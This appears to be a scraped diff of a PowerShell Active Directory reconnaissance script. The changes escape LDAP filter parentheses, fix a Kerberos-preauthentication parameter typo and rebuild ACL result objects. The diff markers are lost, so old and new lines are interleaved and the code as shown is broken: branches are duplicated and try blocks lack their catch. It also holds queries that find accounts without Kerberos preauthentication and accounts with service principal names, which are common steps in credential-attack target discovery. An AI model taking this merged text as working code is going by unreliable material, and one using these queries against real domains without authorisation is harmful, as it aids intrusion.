$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||
}
|
||||
else {
|
||||
try {
|
||||
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
|
||||
$IdentityFilter += "(objectguid=$GuidByteString)"
|
||||
$IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29')
|
||||
if ($IdentityInstance -match '^S-1-.*') {
|
||||
# SID format
|
||||
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
||||
}
|
||||
catch {
|
||||
$IdentityFilter += "(samAccountName=$IdentityInstance)"
|
||||
elseif ($IdentityInstance -match '^CN=.*') {
|
||||
# distinguished names
|
||||
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||
}
|
||||
else {
|
||||
try {
|
||||
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
|
||||
$IdentityFilter += "(objectguid=$GuidByteString)"
|
||||
}
|
||||
catch {
|
||||
$IdentityFilter += "(samAccountName=$IdentityInstance)"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -4742,7 +4763,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
|
|||
Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
|
||||
$Filter += '(msds-allowedtodelegateto=*)'
|
||||
}
|
||||
if ($PSBoundParameters['KerberosPreauthNotRequireduthNotRequired']) {
|
||||
if ($PSBoundParameters['KerberosPreauthNotRequired']) {
|
||||
Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
|
||||
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
|
||||
}
|
||||
|
|
@ -5728,7 +5749,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
|
|||
$IdentityFilter = ''
|
||||
$Filter = ''
|
||||
$Identity | Where-Object {$_} | ForEach-Object {
|
||||
$IdentityInstance = $_
|
||||
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
||||
if ($IdentityInstance -match '^S-1-.*') {
|
||||
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
||||
}
|
||||
|
|
@ -5771,7 +5792,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
|
|||
}
|
||||
if ($PSBoundParameters['SPN']) {
|
||||
Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
|
||||
$Filter += '(servicePrincipalName=$SPN)'
|
||||
$Filter += "(servicePrincipalName=$SPN)"
|
||||
}
|
||||
if ($PSBoundParameters['OperatingSystem']) {
|
||||
Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"
|
||||
|
|
@ -6053,23 +6074,26 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
|
|||
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
|
||||
}
|
||||
}
|
||||
elseif ($IdentityInstance -match '^S-1-.*') {
|
||||
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
||||
}
|
||||
elseif ($IdentityInstance -match '^(CN|OU)=.*') {
|
||||
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||
}
|
||||
else {
|
||||
try {
|
||||
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
|
||||
$IdentityFilter += "(objectguid=$GuidByteString)"
|
||||
$IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29')
|
||||
if ($IdentityInstance -match '^S-1-.*') {
|
||||
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
||||
}
|
||||
catch {
|
||||
if ($IdentityInstance.Contains('.')) {
|
||||
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
|
||||
elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
|
||||
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||
}
|
||||
else {
|
||||
try {
|
||||
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
|
||||
$IdentityFilter += "(objectguid=$GuidByteString)"
|
||||
}
|
||||
else {
|
||||
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
|
||||
catch {
|
||||
if ($IdentityInstance.Contains('.')) {
|
||||
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
|
||||
}
|
||||
else {
|
||||
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -6752,11 +6776,11 @@ Custom PSObject with ACL entries.
|
|||
$IdentityFilter = ''
|
||||
$Filter = ''
|
||||
$Identity | Where-Object {$_} | ForEach-Object {
|
||||
$IdentityInstance = $_
|
||||
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
||||
if ($IdentityInstance -match '^S-1-.*') {
|
||||
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
||||
}
|
||||
elseif ($IdentityInstance -match '^(CN|OU)=.*') {
|
||||
elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
|
||||
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||
}
|
||||
else {
|
||||
|
|
@ -6769,7 +6793,7 @@ Custom PSObject with ACL entries.
|
|||
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
|
||||
}
|
||||
else {
|
||||
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
|
||||
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -7380,11 +7404,26 @@ Custom PSObject with ACL entries.
|
|||
if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') {
|
||||
if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) {
|
||||
$IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value]
|
||||
$_ | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
|
||||
$_ | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
|
||||
$_ | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
|
||||
$_ | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
|
||||
$_
|
||||
|
||||
$InterestingACL = New-Object PSObject
|
||||
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
|
||||
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
|
||||
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
|
||||
if ($_.ObjectAceType) {
|
||||
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
|
||||
}
|
||||
else {
|
||||
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
|
||||
}
|
||||
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
|
||||
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
|
||||
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
|
||||
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
|
||||
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
|
||||
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
|
||||
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
|
||||
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
|
||||
$InterestingACL
|
||||
}
|
||||
else {
|
||||
$IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments
|
||||
|
|
@ -7397,7 +7436,7 @@ Custom PSObject with ACL entries.
|
|||
$ObjectSearcherArguments['Identity'] = $IdentityReferenceDN
|
||||
# "IdentityReferenceDN: $IdentityReferenceDN"
|
||||
$Object = Get-DomainObject @ObjectSearcherArguments
|
||||
$ObjectSearcherArguments
|
||||
|
||||
if ($Object) {
|
||||
$IdentityReferenceName = $Object.Properties.samaccountname[0]
|
||||
if ($Object.Properties.objectclass -match 'computer') {
|
||||
|
|
@ -7416,11 +7455,25 @@ Custom PSObject with ACL entries.
|
|||
# save so we don't look up more than once
|
||||
$ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass
|
||||
|
||||
$_ | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
|
||||
$_ | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
|
||||
$_ | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
|
||||
$_ | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
|
||||
$_
|
||||
$InterestingACL = New-Object PSObject
|
||||
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
|
||||
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
|
||||
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
|
||||
if ($_.ObjectAceType) {
|
||||
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
|
||||
}
|
||||
else {
|
||||
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
|
||||
}
|
||||
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
|
||||
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
|
||||
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
|
||||
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
|
||||
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
|
||||
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
|
||||
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
|
||||
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
|
||||
$InterestingACL
|
||||
}
|
||||
}
|
||||
else {
|
||||
|
|
@ -7641,7 +7694,7 @@ Custom PSObject with translated OU property fields.
|
|||
$IdentityFilter = ''
|
||||
$Filter = ''
|
||||
$Identity | Where-Object {$_} | ForEach-Object {
|
||||
$IdentityInstance = $_
|
||||
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
||||
if ($IdentityInstance -match '^OU=.*') {
|
||||
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||
}
|
||||
|
|
@ -7900,7 +7953,7 @@ Custom PSObject with translated site property fields.
|
|||
$IdentityFilter = ''
|
||||
$Filter = ''
|
||||
$Identity | Where-Object {$_} | ForEach-Object {
|
||||
$IdentityInstance = $_
|
||||
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
||||
if ($IdentityInstance -match '^CN=.*') {
|
||||
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||
}
|
||||
|
|
@ -8158,7 +8211,7 @@ Custom PSObject with translated subnet property fields.
|
|||
$IdentityFilter = ''
|
||||
$Filter = ''
|
||||
$Identity | Where-Object {$_} | ForEach-Object {
|
||||
$IdentityInstance = $_
|
||||
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
||||
if ($IdentityInstance -match '^CN=.*') {
|
||||
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||
}
|
||||
|
|
@ -8629,19 +8682,22 @@ Custom PSObject with translated group property fields.
|
|||
$GroupSearcher = Get-DomainSearcher @SearcherArguments
|
||||
}
|
||||
}
|
||||
elseif ($IdentityInstance -match '^S-1-.*') {
|
||||
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
||||
}
|
||||
elseif ($IdentityInstance -match '^CN=.*') {
|
||||
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||
}
|
||||
else {
|
||||
try {
|
||||
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
|
||||
$IdentityFilter += "(objectguid=$GuidByteString)"
|
||||
$IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29')
|
||||
if ($IdentityInstance -match '^S-1-.*') {
|
||||
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
||||
}
|
||||
catch {
|
||||
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
|
||||
elseif ($IdentityInstance -match '^CN=.*') {
|
||||
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||
}
|
||||
else {
|
||||
try {
|
||||
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
|
||||
$IdentityFilter += "(objectguid=$GuidByteString)"
|
||||
}
|
||||
catch {
|
||||
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -9350,19 +9406,22 @@ http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-
|
|||
$GroupSearcher = Get-DomainSearcher @SearcherArguments
|
||||
}
|
||||
}
|
||||
elseif ($IdentityInstance -match '^S-1-.*') {
|
||||
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
||||
}
|
||||
elseif ($IdentityInstance -match '^CN=.*') {
|
||||
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||
}
|
||||
else {
|
||||
try {
|
||||
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
|
||||
$IdentityFilter += "(objectguid=$GuidByteString)"
|
||||
$IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29')
|
||||
if ($IdentityInstance -match '^S-1-.*') {
|
||||
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
||||
}
|
||||
catch {
|
||||
$IdentityFilter += "(samAccountName=$IdentityInstance)"
|
||||
elseif ($IdentityInstance -match '^CN=.*') {
|
||||
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||
}
|
||||
else {
|
||||
try {
|
||||
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
|
||||
$IdentityFilter += "(objectguid=$GuidByteString)"
|
||||
}
|
||||
catch {
|
||||
$IdentityFilter += "(samAccountName=$IdentityInstance)"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -10907,11 +10966,8 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
|
|||
$IdentityFilter = ''
|
||||
$Filter = ''
|
||||
$Identity | Where-Object {$_} | ForEach-Object {
|
||||
$IdentityInstance = $_
|
||||
if ($IdentityInstance -match 'LDAP://') {
|
||||
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||
}
|
||||
elseif ($IdentityInstance -match '^CN=.*') {
|
||||
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
|
||||
if ($IdentityInstance -match 'LDAP://|^CN=.*') {
|
||||
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||
}
|
||||
elseif ($IdentityInstance -match '{.*}') {
|
||||
|
|
|
|||
Loading…
Reference in New Issue